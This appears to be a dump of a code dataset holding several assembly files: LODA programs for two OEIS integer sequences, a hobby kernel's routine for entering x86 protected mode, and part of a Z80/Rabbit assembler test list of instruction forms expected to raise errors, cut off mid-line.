text
stringlengths
1
1.05M
; A313738: Coordination sequence Gal.6.158.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jamie Morken(s3) ; 1,5,10,15,20,25,31,36,41,46,51,56,61,66,71,76,81,87,92,97,102,107,112,117,122,127,132,137,143,148,153,158,163,168,173,178,183,188,193,199,204,209,214,219,224,229,234,239,244,249 mov $1,$0 add $0,5 div $0,11 mul $1,45 sub $1,6 div $1,9 add $1,1 add $0,$1
; ----------------------------------------- ; Boot sector ; TingOS Hobbyist Kernel ; SWITCH MODULE FOR PM ; ; chia_jason96@live.com ; ----------------------------------------- [bits 16] SWITCH_PM: ; Switch to protected mode cli ; We must switch of interrupts until we have ; set -up the protected mode interrupt vector ; otherwise interrupts will run riot. lgdt [GDT_DESCRIPTOR] ; Load our global descriptor table , which defines ; the protected mode segments (e.g. for code and data) mov eax , cr0 ; To make the switch to protected mode , we set or eax , 0x1 ; the first bit of CR0 , a control register mov cr0 , eax jmp CODE_SEG:INIT_PM ; Make a far jump (i.e. to a new segment) to our 32-bit ; code. This also forces the CPU to flush its cache of ; pre -fetched and real -mode decoded instructions , which can ; cause problems. [bits 32] INIT_PM: ; Initialise registers and the stack once in PM. mov ax, DATA_SEG ; Now in PM, our old segments are meaningless , mov ds, ax ; so we point our segment registers to the mov ss, ax ; data selector we defined in our GDT mov es, ax mov fs, ax mov gs, ax mov ebp , 0x90000 ; Update our stack position so it is right mov esp , ebp ; at the top of the free space. jmp PROTECTED_MODE ; Finally , call some well -known label
; A052931: Expansion of 1/(1 - 3*x^2 - x^3). ; Submitted by Jon Maiga ; 1,0,3,1,9,6,28,27,90,109,297,417,1000,1548,3417,5644,11799,20349,41041,72846,143472,259579,503262,922209,1769365,3269889,6230304,11579032,21960801,40967400,77461435,144863001,273351705,512050438,964918116,1809503019,3406804786,6393427173,12029917377,22587086305,42483179304,79791176292,150036624217,281856708180,529901048943,995606748757,1871559855009,3516721295214,6610286313784,12421723740651,23347580236566,43875457535737,82464464450349,154973952843777,291268850886784,547386322981680 mov $1,1 mov $3,1 lpb $0 sub $0,1 add $2,$1 add $2,$1 sub $1,$2 add $1,$3 add $3,$2 add $2,$1 add $3,2 lpe mov $0,$1
adc (ix) ; Error adc (ix+127) ; Error adc (ix-128) ; Error adc (iy) ; Error adc (iy+127) ; Error adc (iy-128) ; Error adc a', (hl) ; Error adc a', (ix) ; Error adc a', (ix+127) ; Error adc a', (ix-128) ; Error adc a', (iy) ; Error adc a', (iy+127) ; Error adc a', (iy-128) ; Error adc a', -128 ; Error adc a', 127 ; Error adc a', 255 ; Error adc a', a ; Error adc a', b ; Error adc a', c ; Error adc a', d ; Error adc a', e ; Error adc a', h ; Error adc a', l ; Error adc a, (ix) ; Error adc a, (ix+127) ; Error adc a, (ix-128) ; Error adc a, (iy) ; Error adc a, (iy+127) ; Error adc a, (iy-128) ; Error adc a, ixh ; Error adc a, ixl ; Error adc a, iyh ; Error adc a, iyl ; Error adc hl', bc ; Error adc hl', de ; Error adc hl', hl ; Error adc hl', sp ; Error adc ixh ; Error adc ixl ; Error adc iyh ; Error adc iyl ; Error add (ix) ; Error add (ix+127) ; Error add (ix-128) ; Error add (iy) ; Error add (iy+127) ; Error add (iy-128) ; Error add a', (hl) ; Error add a', (ix) ; Error add a', (ix+127) ; Error add a', (ix-128) ; Error add a', (iy) ; Error add a', (iy+127) ; Error add a', (iy-128) ; Error add a', -128 ; Error add a', 127 ; Error add a', 255 ; Error add a', a ; Error add a', b ; Error add a', c ; Error add a', d ; Error add a', e ; Error add a', h ; Error add a', l ; Error add a, (ix) ; Error add a, (ix+127) ; Error add a, (ix-128) ; Error add a, (iy) ; Error add a, (iy+127) ; Error add a, (iy-128) ; Error add a, ixh ; Error add a, ixl ; Error add a, iyh ; Error add a, iyl ; Error add hl', bc ; Error add hl', de ; Error add hl', hl ; Error add hl', sp ; Error add ix, bc ; Error add ix, de ; Error add ix, ix ; Error add ix, sp ; Error add ixh ; Error add ixl ; Error add iy, bc ; Error add iy, de ; Error add iy, iy ; Error add iy, sp ; Error add iyh ; Error add iyl ; Error adi hl, -128 ; Error adi hl, 127 ; Error adi hl, 255 ; Error adi sp, -128 ; Error adi sp, 127 ; Error adi sp, 255 ; Error altd adc (hl) ; Error altd adc (ix) ; Error altd adc (ix+127) ; Error altd adc (ix-128) ; Error altd adc (iy) ; Error altd adc (iy+127) ; Error altd adc (iy-128) ; Error altd adc -128 ; Error altd adc 127 ; Error altd adc 255 ; Error altd adc a ; Error altd adc a, (hl) ; Error altd adc a, (ix) ; Error altd adc a, (ix+127) ; Error altd adc a, (ix-128) ; Error altd adc a, (iy) ; Error altd adc a, (iy+127) ; Error altd adc a, (iy-128) ; Error altd adc a, -128 ; Error altd adc a, 127 ; Error altd adc a, 255 ; Error altd adc a, a ; Error altd adc a, b ; Error altd adc a, c ; Error altd adc a, d ; Error altd adc a, e ; Error altd adc a, h ; Error altd adc a, l ; Error altd adc b ; Error altd adc c ; Error altd adc d ; Error altd adc e ; Error altd adc h ; Error altd adc hl, bc ; Error altd adc hl, de ; Error altd adc hl, hl ; Error altd adc hl, sp ; Error altd adc l ; Error altd adc m ; Error altd add (hl) ; Error altd add (ix) ; Error altd add (ix+127) ; Error altd add (ix-128) ; Error altd add (iy) ; Error altd add (iy+127) ; Error altd add (iy-128) ; Error altd add -128 ; Error altd add 127 ; Error altd add 255 ; Error altd add a ; Error altd add a, (hl) ; Error altd add a, (ix) ; Error altd add a, (ix+127) ; Error altd add a, (ix-128) ; Error altd add a, (iy) ; Error altd add a, (iy+127) ; Error altd add a, (iy-128) ; Error altd add a, -128 ; Error altd add a, 127 ; Error altd add a, 255 ; Error altd add a, a ; Error altd add a, b ; Error altd add a, c ; Error altd add a, d ; Error altd add a, e ; Error altd add a, h ; Error altd add a, l ; Error altd add b ; Error altd add c ; Error altd add d ; Error altd add e ; Error altd add h ; Error altd add hl, bc ; Error altd add hl, de ; Error altd add hl, hl ; Error altd add hl, sp ; Error altd add l ; Error altd add m ; Error altd and (hl) ; Error altd and (ix) ; Error altd and (ix+127) ; Error altd and (ix-128) ; Error altd and (iy) ; Error altd and (iy+127) ; Error altd and (iy-128) ; Error altd and -128 ; Error altd and 127 ; Error altd and 255 ; Error altd and a ; Error altd and a, (hl) ; Error altd and a, (ix) ; Error altd and a, (ix+127) ; Error altd and a, (ix-128) ; Error altd and a, (iy) ; Error altd and a, (iy+127) ; Error altd and a, (iy-128) ; Error altd and a, -128 ; Error altd and a, 127 ; Error altd and a, 255 ; Error altd and a, a ; Error altd and a, b ; Error altd and a, c ; Error altd and a, d ; Error altd and a, e ; Error altd and a, h ; Error altd and a, l ; Error altd and b ; Error altd and c ; Error altd and d ; Error altd and e ; Error altd and h ; Error altd and hl, de ; Error altd and ix, de ; Error altd and iy, de ; Error altd and l ; Error altd bit -1, (hl) ; Error altd bit -1, (hl) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy-128) ; Error altd bit -1, (iy-128) ; Error altd bit -1, a ; Error altd bit -1, a ; Error altd bit -1, b ; Error altd bit -1, b ; Error altd bit -1, c ; Error altd bit -1, c ; Error altd bit -1, d ; Error altd bit -1, d ; Error altd bit -1, e ; Error altd bit -1, e ; Error altd bit -1, h ; Error altd bit -1, h ; Error altd bit -1, l ; Error altd bit -1, l ; Error altd bit 0, (hl) ; Error altd bit 0, (ix) ; Error altd bit 0, (ix+127) ; Error altd bit 0, (ix-128) ; Error altd bit 0, (iy) ; Error altd bit 0, (iy+127) ; Error altd bit 0, (iy-128) ; Error altd bit 0, a ; Error altd bit 0, b ; Error altd bit 0, c ; Error altd bit 0, d ; Error altd bit 0, e ; Error altd bit 0, h ; Error altd bit 0, l ; Error altd bit 1, (hl) ; Error altd bit 1, (ix) ; Error altd bit 1, (ix+127) ; Error altd bit 1, (ix-128) ; Error altd bit 1, (iy) ; Error altd bit 1, (iy+127) ; Error altd bit 1, (iy-128) ; Error altd bit 1, a ; Error altd bit 1, b ; Error altd bit 1, c ; Error altd bit 1, d ; Error altd bit 1, e ; Error altd bit 1, h ; Error altd bit 1, l ; Error altd bit 2, (hl) ; Error altd bit 2, (ix) ; Error altd bit 2, (ix+127) ; Error altd bit 2, (ix-128) ; Error altd bit 2, (iy) ; Error altd bit 2, (iy+127) ; Error altd bit 2, (iy-128) ; Error altd bit 2, a ; Error altd bit 2, b ; Error altd bit 2, c ; Error altd bit 2, d ; Error altd bit 2, e ; Error altd bit 2, h ; Error altd bit 2, l ; Error altd bit 3, (hl) ; Error altd bit 3, (ix) ; Error altd bit 3, (ix+127) ; Error altd bit 3, (ix-128) ; Error altd bit 3, (iy) ; Error altd bit 3, (iy+127) ; Error altd bit 3, (iy-128) ; Error altd bit 3, a ; Error altd bit 3, b ; Error altd bit 3, c ; Error altd bit 3, d ; Error altd bit 3, e ; Error altd bit 3, h ; Error altd bit 3, l ; Error altd bit 4, (hl) ; Error altd bit 4, (ix) ; Error altd bit 4, (ix+127) ; Error altd bit 4, (ix-128) ; Error altd bit 4, (iy) ; Error altd bit 4, (iy+127) ; Error altd bit 4, (iy-128) ; Error altd bit 4, a ; Error altd bit 4, b ; Error altd bit 4, c ; Error altd bit 4, d ; Error altd bit 4, e ; Error altd bit 4, h ; Error altd bit 4, l ; Error altd bit 5, (hl) ; Error altd bit 5, (ix) ; Error altd bit 5, (ix+127) ; Error altd bit 5, (ix-128) ; Error altd bit 5, (iy) ; Error altd bit 5, (iy+127) ; Error altd bit 5, (iy-128) ; Error altd bit 5, a ; Error altd bit 5, b ; Error altd bit 5, c ; Error altd bit 5, d ; Error altd bit 5, e ; Error altd bit 5, h ; Error altd bit 5, l ; Error altd bit 6, (hl) ; Error altd bit 6, (ix) ; Error altd bit 6, (ix+127) ; Error altd bit 6, (ix-128) ; Error altd bit 6, (iy) ; Error altd bit 6, (iy+127) ; Error altd bit 6, (iy-128) ; Error altd bit 6, a ; Error altd bit 6, b ; Error altd bit 6, c ; Error altd bit 6, d ; Error altd bit 6, e ; Error altd bit 6, h ; Error altd bit 6, l ; Error altd bit 7, (hl) ; Error altd bit 7, (ix) ; Error altd bit 7, (ix+127) ; Error altd bit 7, (ix-128) ; Error altd bit 7, (iy) ; Error altd bit 7, (iy+127) ; Error altd bit 7, (iy-128) ; Error altd bit 7, a ; Error altd bit 7, b ; Error altd bit 7, c ; Error altd bit 7, d ; Error altd bit 7, e ; Error altd bit 7, h ; Error altd bit 7, l ; Error altd bit 8, (hl) ; Error altd bit 8, (hl) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy-128) ; Error altd bit 8, (iy-128) ; Error altd bit 8, a ; Error altd bit 8, a ; Error altd bit 8, b ; Error altd bit 8, b ; Error altd bit 8, c ; Error altd bit 8, c ; Error altd bit 8, d ; Error altd bit 8, d ; Error altd bit 8, e ; Error altd bit 8, e ; Error altd bit 8, h ; Error altd bit 8, h ; Error altd bit 8, l ; Error altd bit 8, l ; Error altd bool hl ; Error altd bool ix ; Error altd bool iy ; Error altd ccf ; Error altd cp (hl) ; Error altd cp (ix) ; Error altd cp (ix+127) ; Error altd cp (ix-128) ; Error altd cp (iy) ; Error altd cp (iy+127) ; Error altd cp (iy-128) ; Error altd cp -128 ; Error altd cp 127 ; Error altd cp 255 ; Error altd cp a ; Error altd cp a, (hl) ; Error altd cp a, (ix) ; Error altd cp a, (ix+127) ; Error altd cp a, (ix-128) ; Error altd cp a, (iy) ; Error altd cp a, (iy+127) ; Error altd cp a, (iy-128) ; Error altd cp a, -128 ; Error altd cp a, 127 ; Error altd cp a, 255 ; Error altd cp a, a ; Error altd cp a, b ; Error altd cp a, c ; Error altd cp a, d ; Error altd cp a, e ; Error altd cp a, h ; Error altd cp a, l ; Error altd cp b ; Error altd cp c ; Error altd cp d ; Error altd cp e ; Error altd cp h ; Error altd cp l ; Error altd cpl ; Error altd cpl a ; Error altd dec (hl) ; Error altd dec (ix) ; Error altd dec (ix+127) ; Error altd dec (ix-128) ; Error altd dec (iy) ; Error altd dec (iy+127) ; Error altd dec (iy-128) ; Error altd dec a ; Error altd dec b ; Error altd dec bc ; Error altd dec c ; Error altd dec d ; Error altd dec de ; Error altd dec e ; Error altd dec h ; Error altd dec hl ; Error altd dec l ; Error altd djnz ASMPC ; Error altd djnz b, ASMPC ; Error altd ex (sp), hl ; Error altd ex de', hl ; Error altd ex de, hl ; Error altd inc (hl) ; Error altd inc (ix) ; Error altd inc (ix+127) ; Error altd inc (ix-128) ; Error altd inc (iy) ; Error altd inc (iy+127) ; Error altd inc (iy-128) ; Error altd inc a ; Error altd inc b ; Error altd inc bc ; Error altd inc c ; Error altd inc d ; Error altd inc de ; Error altd inc e ; Error altd inc h ; Error altd inc hl ; Error altd inc l ; Error altd ioe adc (hl) ; Error altd ioe adc (ix) ; Error altd ioe adc (ix+127) ; Error altd ioe adc (ix-128) ; Error altd ioe adc (iy) ; Error altd ioe adc (iy+127) ; Error altd ioe adc (iy-128) ; Error altd ioe adc a, (hl) ; Error altd ioe adc a, (ix) ; Error altd ioe adc a, (ix+127) ; Error altd ioe adc a, (ix-128) ; Error altd ioe adc a, (iy) ; Error altd ioe adc a, (iy+127) ; Error altd ioe adc a, (iy-128) ; Error altd ioe add (hl) ; Error altd ioe add (ix) ; Error altd ioe add (ix+127) ; Error altd ioe add (ix-128) ; Error altd ioe add (iy) ; Error altd ioe add (iy+127) ; Error altd ioe add (iy-128) ; Error altd ioe add a, (hl) ; Error altd ioe add a, (ix) ; Error altd ioe add a, (ix+127) ; Error altd ioe add a, (ix-128) ; Error altd ioe add a, (iy) ; Error altd ioe add a, (iy+127) ; Error altd ioe add a, (iy-128) ; Error altd ioe and (hl) ; Error altd ioe and (ix) ; Error altd ioe and (ix+127) ; Error altd ioe and (ix-128) ; Error altd ioe and (iy) ; Error altd ioe and (iy+127) ; Error altd ioe and (iy-128) ; Error altd ioe and a, (hl) ; Error altd ioe and a, (ix) ; Error altd ioe and a, (ix+127) ; Error altd ioe and a, (ix-128) ; Error altd ioe and a, (iy) ; Error altd ioe and a, (iy+127) ; Error altd ioe and a, (iy-128) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit 0, (hl) ; Error altd ioe bit 0, (ix) ; Error altd ioe bit 0, (ix+127) ; Error altd ioe bit 0, (ix-128) ; Error altd ioe bit 0, (iy) ; Error altd ioe bit 0, (iy+127) ; Error altd ioe bit 0, (iy-128) ; Error altd ioe bit 1, (hl) ; Error altd ioe bit 1, (ix) ; Error altd ioe bit 1, (ix+127) ; Error altd ioe bit 1, (ix-128) ; Error altd ioe bit 1, (iy) ; Error altd ioe bit 1, (iy+127) ; Error altd ioe bit 1, (iy-128) ; Error altd ioe bit 2, (hl) ; Error altd ioe bit 2, (ix) ; Error altd ioe bit 2, (ix+127) ; Error altd ioe bit 2, (ix-128) ; Error altd ioe bit 2, (iy) ; Error altd ioe bit 2, (iy+127) ; Error altd ioe bit 2, (iy-128) ; Error altd ioe bit 3, (hl) ; Error altd ioe bit 3, (ix) ; Error altd ioe bit 3, (ix+127) ; Error altd ioe bit 3, (ix-128) ; Error altd ioe bit 3, (iy) ; Error altd ioe bit 3, (iy+127) ; Error altd ioe bit 3, (iy-128) ; Error altd ioe bit 4, (hl) ; Error altd ioe bit 4, (ix) ; Error altd ioe bit 4, (ix+127) ; Error altd ioe bit 4, (ix-128) ; Error altd ioe bit 4, (iy) ; Error altd ioe bit 4, (iy+127) ; Error altd ioe bit 4, (iy-128) ; Error altd ioe bit 5, (hl) ; Error altd ioe bit 5, (ix) ; Error altd ioe bit 5, (ix+127) ; Error altd ioe bit 5, (ix-128) ; Error altd ioe bit 5, (iy) ; Error altd ioe bit 5, (iy+127) ; Error altd ioe bit 5, (iy-128) ; Error altd ioe bit 6, (hl) ; Error altd ioe bit 6, (ix) ; Error altd ioe bit 6, (ix+127) ; Error altd ioe bit 6, (ix-128) ; Error altd ioe bit 6, (iy) ; Error altd ioe bit 6, (iy+127) ; Error altd ioe bit 6, (iy-128) ; Error altd ioe bit 7, (hl) ; Error altd ioe bit 7, (ix) ; Error altd ioe bit 7, (ix+127) ; Error altd ioe bit 7, (ix-128) ; Error altd ioe bit 7, (iy) ; Error altd ioe bit 7, (iy+127) ; Error altd ioe bit 7, (iy-128) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe cp (hl) ; Error altd ioe cp (ix) ; Error altd ioe cp (ix+127) ; Error altd ioe cp (ix-128) ; Error altd ioe cp (iy) ; Error altd ioe cp (iy+127) ; Error altd ioe cp (iy-128) ; Error altd ioe cp a, (hl) ; Error altd ioe cp a, (ix) ; Error altd ioe cp a, (ix+127) ; Error altd ioe cp a, (ix-128) ; Error altd ioe cp a, (iy) ; Error altd ioe cp a, (iy+127) ; Error altd ioe cp a, (iy-128) ; Error altd ioe dec (hl) ; Error altd ioe dec (ix) ; Error altd ioe dec (ix+127) ; Error altd ioe dec (ix-128) ; Error altd ioe dec (iy) ; Error altd ioe dec (iy+127) ; Error altd ioe dec (iy-128) ; Error altd ioe inc (hl) ; Error altd ioe inc (ix) ; Error altd ioe inc (ix+127) ; Error altd ioe inc (ix-128) ; Error altd ioe inc (iy) ; Error altd ioe inc (iy+127) ; Error altd ioe inc (iy-128) ; Error altd ioe ld a, (-32768) ; Error altd ioe ld a, (32767) ; Error altd ioe ld a, (65535) ; Error altd ioe ld a, (bc) ; Error altd ioe ld a, (bc+) ; Error altd ioe ld a, (bc-) ; Error altd ioe ld a, (de) ; Error altd ioe ld a, (de+) ; Error altd ioe ld a, (de-) ; Error altd ioe ld a, (hl) ; Error altd ioe ld a, (hl+) ; Error altd ioe ld a, (hl-) ; Error altd ioe ld a, (hld) ; Error altd ioe ld a, (hli) ; Error altd ioe ld a, (ix) ; Error altd ioe ld a, (ix+127) ; Error altd ioe ld a, (ix-128) ; Error altd ioe ld a, (iy) ; Error altd ioe ld a, (iy+127) ; Error altd ioe ld a, (iy-128) ; Error altd ioe ld b, (hl) ; Error altd ioe ld b, (ix) ; Error altd ioe ld b, (ix+127) ; Error altd ioe ld b, (ix-128) ; Error altd ioe ld b, (iy) ; Error altd ioe ld b, (iy+127) ; Error altd ioe ld b, (iy-128) ; Error altd ioe ld bc, (-32768) ; Error altd ioe ld bc, (32767) ; Error altd ioe ld bc, (65535) ; Error altd ioe ld c, (hl) ; Error altd ioe ld c, (ix) ; Error altd ioe ld c, (ix+127) ; Error altd ioe ld c, (ix-128) ; Error altd ioe ld c, (iy) ; Error altd ioe ld c, (iy+127) ; Error altd ioe ld c, (iy-128) ; Error altd ioe ld d, (hl) ; Error altd ioe ld d, (ix) ; Error altd ioe ld d, (ix+127) ; Error altd ioe ld d, (ix-128) ; Error altd ioe ld d, (iy) ; Error altd ioe ld d, (iy+127) ; Error altd ioe ld d, (iy-128) ; Error altd ioe ld de, (-32768) ; Error altd ioe ld de, (32767) ; Error altd ioe ld de, (65535) ; Error altd ioe ld e, (hl) ; Error altd ioe ld e, (ix) ; Error altd ioe ld e, (ix+127) ; Error altd ioe ld e, (ix-128) ; Error altd ioe ld e, (iy) ; Error altd ioe ld e, (iy+127) ; Error altd ioe ld e, (iy-128) ; Error altd ioe ld h, (hl) ; Error altd ioe ld h, (ix) ; Error altd ioe ld h, (ix+127) ; Error altd ioe ld h, (ix-128) ; Error altd ioe ld h, (iy) ; Error altd ioe ld h, (iy+127) ; Error altd ioe ld h, (iy-128) ; Error altd ioe ld hl, (-32768) ; Error altd ioe ld hl, (32767) ; Error altd ioe ld hl, (65535) ; Error altd ioe ld hl, (hl) ; Error altd ioe ld hl, (hl+127) ; Error altd ioe ld hl, (hl-128) ; Error altd ioe ld hl, (ix) ; Error altd ioe ld hl, (ix+127) ; Error altd ioe ld hl, (ix-128) ; Error altd ioe ld hl, (iy) ; Error altd ioe ld hl, (iy+127) ; Error altd ioe ld hl, (iy-128) ; Error altd ioe ld l, (hl) ; Error altd ioe ld l, (ix) ; Error altd ioe ld l, (ix+127) ; Error altd ioe ld l, (ix-128) ; Error altd ioe ld l, (iy) ; Error altd ioe ld l, (iy+127) ; Error altd ioe ld l, (iy-128) ; Error altd ioe or (hl) ; Error altd ioe or (ix) ; Error altd ioe or (ix+127) ; Error altd ioe or (ix-128) ; Error altd ioe or (iy) ; Error altd ioe or (iy+127) ; Error altd ioe or (iy-128) ; Error altd ioe or a, (hl) ; Error altd ioe or a, (ix) ; Error altd ioe or a, (ix+127) ; Error altd ioe or a, (ix-128) ; Error altd ioe or a, (iy) ; Error altd ioe or a, (iy+127) ; Error altd ioe or a, (iy-128) ; Error altd ioe rl (hl) ; Error altd ioe rl (ix) ; Error altd ioe rl (ix+127) ; Error altd ioe rl (ix-128) ; Error altd ioe rl (iy) ; Error altd ioe rl (iy+127) ; Error altd ioe rl (iy-128) ; Error altd ioe rlc (hl) ; Error altd ioe rlc (ix) ; Error altd ioe rlc (ix+127) ; Error altd ioe rlc (ix-128) ; Error altd ioe rlc (iy) ; Error altd ioe rlc (iy+127) ; Error altd ioe rlc (iy-128) ; Error altd ioe rr (hl) ; Error altd ioe rr (ix) ; Error altd ioe rr (ix+127) ; Error altd ioe rr (ix-128) ; Error altd ioe rr (iy) ; Error altd ioe rr (iy+127) ; Error altd ioe rr (iy-128) ; Error altd ioe rrc (hl) ; Error altd ioe rrc (ix) ; Error altd ioe rrc (ix+127) ; Error altd ioe rrc (ix-128) ; Error altd ioe rrc (iy) ; Error altd ioe rrc (iy+127) ; Error altd ioe rrc (iy-128) ; Error altd ioe sbc (hl) ; Error altd ioe sbc (ix) ; Error altd ioe sbc (ix+127) ; Error altd ioe sbc (ix-128) ; Error altd ioe sbc (iy) ; Error altd ioe sbc (iy+127) ; Error altd ioe sbc (iy-128) ; Error altd ioe sbc a, (hl) ; Error altd ioe sbc a, (ix) ; Error altd ioe sbc a, (ix+127) ; Error altd ioe sbc a, (ix-128) ; Error altd ioe sbc a, (iy) ; Error altd ioe sbc a, (iy+127) ; Error altd ioe sbc a, (iy-128) ; Error altd ioe sla (hl) ; Error altd ioe sla (ix) ; Error altd ioe sla (ix+127) ; Error altd ioe sla (ix-128) ; Error altd ioe sla (iy) ; Error altd ioe sla (iy+127) ; Error altd ioe sla (iy-128) ; Error altd ioe sra (hl) ; Error altd ioe sra (ix) ; Error altd ioe sra (ix+127) ; Error altd ioe sra (ix-128) ; Error altd ioe sra (iy) ; Error altd ioe sra (iy+127) ; Error altd ioe sra (iy-128) ; Error altd ioe srl (hl) ; Error altd ioe srl (ix) ; Error altd ioe srl (ix+127) ; Error altd ioe srl (ix-128) ; Error altd ioe srl (iy) ; Error altd ioe srl (iy+127) ; Error altd ioe srl (iy-128) ; Error altd ioe sub (hl) ; Error altd ioe sub (ix) ; Error altd ioe sub (ix+127) ; Error altd ioe sub (ix-128) ; Error altd ioe sub (iy) ; Error altd ioe sub (iy+127) ; Error altd ioe sub (iy-128) ; Error altd ioe sub a, (hl) ; Error altd ioe sub a, (ix) ; Error altd ioe sub a, (ix+127) ; Error altd ioe sub a, (ix-128) ; Error altd ioe sub a, (iy) ; Error altd ioe sub a, (iy+127) ; Error altd ioe sub a, (iy-128) ; Error altd ioe xor (hl) ; Error altd ioe xor (ix) ; Error altd ioe xor (ix+127) ; Error altd ioe xor (ix-128) ; Error altd ioe xor (iy) ; Error altd ioe xor (iy+127) ; Error altd ioe xor (iy-128) ; Error altd ioe xor a, (hl) ; Error altd ioe xor a, (ix) ; Error altd ioe xor a, (ix+127) ; Error altd ioe xor a, (ix-128) ; Error altd ioe xor a, (iy) ; Error altd ioe xor a, (iy+127) ; Error altd ioe xor a, (iy-128) ; Error altd ioi adc (hl) ; Error altd ioi adc (ix) ; Error altd ioi adc (ix+127) ; Error altd ioi adc (ix-128) ; Error altd ioi adc (iy) ; Error altd ioi adc (iy+127) ; Error altd ioi adc (iy-128) ; Error altd ioi adc a, (hl) ; Error altd ioi adc a, (ix) ; Error altd ioi adc a, (ix+127) ; Error altd ioi adc a, (ix-128) ; Error altd ioi adc a, (iy) ; Error altd ioi adc a, (iy+127) ; Error altd ioi adc a, (iy-128) ; Error altd ioi add (hl) ; Error altd ioi add (ix) ; Error altd ioi add (ix+127) ; Error altd ioi add (ix-128) ; Error altd ioi add (iy) ; Error altd ioi add (iy+127) ; Error altd ioi add (iy-128) ; Error altd ioi add a, (hl) ; Error altd ioi add a, (ix) ; Error altd ioi add a, (ix+127) ; Error altd ioi add a, (ix-128) ; Error altd ioi add a, (iy) ; Error altd ioi add a, (iy+127) ; Error altd ioi add a, (iy-128) ; Error altd ioi and (hl) ; Error altd ioi and (ix) ; Error altd ioi and (ix+127) ; Error altd ioi and (ix-128) ; Error altd ioi and (iy) ; Error altd ioi and (iy+127) ; Error altd ioi and (iy-128) ; Error altd ioi and a, (hl) ; Error altd ioi and a, (ix) ; Error altd ioi and a, (ix+127) ; Error altd ioi and a, (ix-128) ; Error altd ioi and a, (iy) ; Error altd ioi and a, (iy+127) ; Error altd ioi and a, (iy-128) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit 0, (hl) ; Error altd ioi bit 0, (ix) ; Error altd ioi bit 0, (ix+127) ; Error altd ioi bit 0, (ix-128) ; Error altd ioi bit 0, (iy) ; Error altd ioi bit 0, (iy+127) ; Error altd ioi bit 0, (iy-128) ; Error altd ioi bit 1, (hl) ; Error altd ioi bit 1, (ix) ; Error altd ioi bit 1, (ix+127) ; Error altd ioi bit 1, (ix-128) ; Error altd ioi bit 1, (iy) ; Error altd ioi bit 1, (iy+127) ; Error altd ioi bit 1, (iy-128) ; Error altd ioi bit 2, (hl) ; Error altd ioi bit 2, (ix) ; Error altd ioi bit 2, (ix+127) ; Error altd ioi bit 2, (ix-128) ; Error altd ioi bit 2, (iy) ; Error altd ioi bit 2, (iy+127) ; Error altd ioi bit 2, (iy-128) ; Error altd ioi bit 3, (hl) ; Error altd ioi bit 3, (ix) ; Error altd ioi bit 3, (ix+127) ; Error altd ioi bit 3, (ix-128) ; Error altd ioi bit 3, (iy) ; Error altd ioi bit 3, (iy+127) ; Error altd ioi bit 3, (iy-128) ; Error altd ioi bit 4, (hl) ; Error altd ioi bit 4, (ix) ; Error altd ioi bit 4, (ix+127) ; Error altd ioi bit 4, (ix-128) ; Error altd ioi bit 4, (iy) ; Error altd ioi bit 4, (iy+127) ; Error altd ioi bit 4, (iy-128) ; Error altd ioi bit 5, (hl) ; Error altd ioi bit 5, (ix) ; Error altd ioi bit 5, (ix+127) ; Error altd ioi bit 5, (ix-128) ; Error altd ioi bit 5, (iy) ; Error altd ioi bit 5, (iy+127) ; Error altd ioi bit 5, (iy-128) ; Error altd ioi bit 6, (hl) ; Error altd ioi bit 6, (ix) ; Error altd ioi bit 6, (ix+127) ; Error altd ioi bit 6, (ix-128) ; Error altd ioi bit 6, (iy) ; Error altd ioi bit 6, (iy+127) ; Error altd ioi bit 6, (iy-128) ; Error altd ioi bit 7, (hl) ; Error altd ioi bit 7, (ix) ; Error altd ioi bit 7, (ix+127) ; Error altd ioi bit 7, (ix-128) ; Error altd ioi bit 7, (iy) ; Error altd ioi bit 7, (iy+127) ; Error altd ioi bit 7, (iy-128) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 